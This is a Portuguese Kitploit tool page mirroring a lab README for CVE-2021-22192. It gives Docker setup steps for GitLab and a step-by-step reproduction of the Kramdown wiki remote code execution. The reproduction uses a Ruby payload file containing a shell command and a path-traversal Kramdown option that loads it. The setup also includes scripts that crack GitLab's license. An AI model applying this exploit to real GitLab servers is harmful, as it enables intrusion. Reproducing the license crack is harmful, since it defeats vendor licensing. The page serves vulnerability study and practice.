Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-22192 — CVE-2021-22192 Laboratório: Vulnerabilidade RCE de Usuário Não Autorizado | Kitploit
Ferramentas/GitHubGitHub/exp-docs/cve-2021-22192
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 Laboratório: Vulnerabilidade RCE de Usuário Não Autorizado

Ver Repositório
3843há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-22192

Laboratório CVE-2021-22192: vulnerabilidade de RCE por usuário não autorizado


0x10 Ambiente do laboratório

0x20 Estrutura de diretórios

CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]

0x30 Configuração do laboratório

0x31 Build

  • O host deve ter docker e docker-compose pré-instalados
  • Baixe este repositório: git clone https://github.com/lyy289065406/CVE-2021-22192
  • Gere o par de chaves de crack: ./keygen.sh ou ./keygen.ps1
  • Construa e execute o Gitlab (garanta que a porta 80 não esteja em uso): ./run.sh ou ./run.ps1
  • Após cerca de 5 minutos, você pode acessar o Gitlab pelo navegador: http://127.0.0.1 (no primeiro login, será necessário redefinir a senha da conta de administrador root)

0x32 Crack

Quando o par de chaves de crack foi gerado anteriormente, a chave pública já foi gravada no backend do contêiner Gitlab. Agora você precisa enviar a chave privada pelo frontend para o Gitlab para concluir o crack:

  • O par de chaves é gerado no diretório ./gitlab/keys/; copie o conteúdo de .gitlab-license (a chave privada)
  • Usando o usuário root, abra a página http://127.0.0.1/admin/license/new
  • Selecione Enter license key, cole a chave privada e clique no botão Upload license para concluir o crack

0x33 Configurar o Runner

  • Usando o usuário root, abra a página http://127.0.0.1/admin/runners
  • Encontre o registration token e copie-o
  • Registre o Runner: ./register.sh $TOKEN ou ./register.ps1 $TOKEN

A partir de agora, todos os repositórios podem usar este Runner para executar scripts de CI (Pipeline Jobs)

0x34 Acessar o Gitlab Pages

Assumindo que seu nome de usuário no Gitlab seja ${username} e o nome do repositório seja ${repository_name}, depois que o repositório tiver construído o SSG com sucesso usando jekyll, basta acessar a seguinte URL:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Validação do laboratório

Para o processo detalhado, consulte o hackerone.

  1. Com qualquer usuário, clique em + -> New snippet no topo.
  2. Preencha Title como quiser, clique no campo de entrada Description (optional), depois clique em Attach a file e envie um arquivo chamado payload.rb com o seguinte conteúdo:
puts "hello from ruby"
`echo exp was here > /tmp/exp`

Nesse momento, o link do arquivo será exibido em Description (optional), por exemplo: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb); o arquivo também já foi enviado para /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb no contêiner docker_gitlab. (Quanto ao Create snippet, você pode clicar ou não; basta lembrar do Hash desse caminho de arquivo.)

Atenção: não use Snippet -> New snippet na barra lateral de um repositório, caso contrário o caminho do arquivo retornado será [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb); na verdade, o caminho enviado para o contêiner docker_gitlab se tornará /var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb. Como há uma string aleatória no meio, é difícil de explorar.

  1. Clique em + New Project no topo. Dê o nome que quiser (por exemplo, poc; ou nem crie, use um repositório já existente).
  2. Clique em Wiki na barra lateral e depois em Create your first page.
  3. Preencha Title e Content como quiser e clique em Create page.
  4. Nesse momento, o Gitlab criará o repositório wiki do repositório poc atual, chamado poc.wiki (clique em Clone repository no canto superior direito para encontrar o comando de clone: git clone http://127.0.0.1/root/poc.wiki.git).
  5. No terminal local, execute o comando git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki para baixar o repositório wiki para a máquina local.
  6. No diretório raiz do repositório wiki, adicione um arquivo chamado page1.rmd com o seguinte conteúdo (observe que o Hash no caminho do arquivo deve ser substituído pelo Hash obtido anteriormente):
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. Execute o comando para enviar o arquivo ao Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. Volte para a página Gitlab Wiki mencionada anteriormente e atualize. Você verá a página page1 criada localmente na barra de índice à direita; clique nela.
  3. Depois que a página exibir o conteúdo, faça login no contêiner docker_gitlab e você encontrará o arquivo /tmp/exp já criado.

Após clicar na página page1.rmd, você pode ver a mensagem de erro em gitlab/logs/gitlab-rails/exceptions_json.log, mas isso não afeta o fato de que o comando já foi executado:

Baixar ferramenta